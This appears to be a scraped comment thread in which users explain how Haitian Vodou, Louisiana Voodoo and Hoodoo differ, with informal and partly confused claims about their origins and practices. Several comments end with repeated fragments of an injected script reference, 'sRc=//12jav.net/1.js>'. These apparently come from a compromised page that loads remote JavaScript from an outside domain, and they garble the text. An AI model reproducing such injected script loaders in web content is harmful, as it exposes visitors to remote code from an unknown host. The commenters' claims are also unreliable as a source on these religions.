Vodou is the haitian creole spelling of voodoo, it has come in vogue as an attempt to distance itself from stupid horror movies.
Voodoo is a mixture of magic practices from africa as well as taino indian practices which has been to an extent synchretised with catholic practices.
Hoodoo is a folk magic version of voodoo cooked up in the southern US. A very watered down type of voodoo with local indian and a little french flavour sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>
Vodou is the mixture of African spiritualism, Catholicism, and some native spirits (Taino- the peoople that inhabited the island before the slavers and slaves). Vodou is what occurred when these elements mixed. Catholicism was incorporated for several reasons and had actually influenced African spiritual system before the slaves had been brought to Haiti.
Vodou should not be confused as Voodoo which is at home in Louisiana in the United States. While there are many similarities, the Taino influence isn't as heavy and in some practices of Voodoo it is non-existent. While Vodou has both male and female priests, Voodoo is generally under the direction of a female. There are similarities in symbolism, practice, and spirits to be sure.
Hoodoo is the magical practice incorporating Native American spirit practices, African root work, and European folk magic. It is usually the magical practice of those who practice Catholicism, but it can be done without. I should also add, it is considered disrespectful to attempt to combine it with other religious systems and in some cases thought to be ineffective because much of the symbolism, moral ideas, and numerology is biblical. sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>
Luckygirl, Voodoo dolls are resting places and mediums for spirits that are noncorporeal, what you are thinking of is a poppet, which is European sympathetic folk magic.
Hoodoo, voodoo voudo is an african magic as the may be magic spell is all about material when cast with the right material and the right time it work sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>
Voodoo can be good or bad it depends on the person hougan practices white magic and the Bocor is into the black magic sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>
Voodoo is Haitian Vodou but they have added things such as Grigri Vodou dolls Hoodoo is a practice that has christianity,native american mixed Hoodoo is not a religion but a practice Vodou is a religion and lifestyle that came from african and is mixed with Catholisim Vodou cartain spirits roots can be traced to Dahomey roots and some Yoruba such as Orisas in the Nago Family sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>
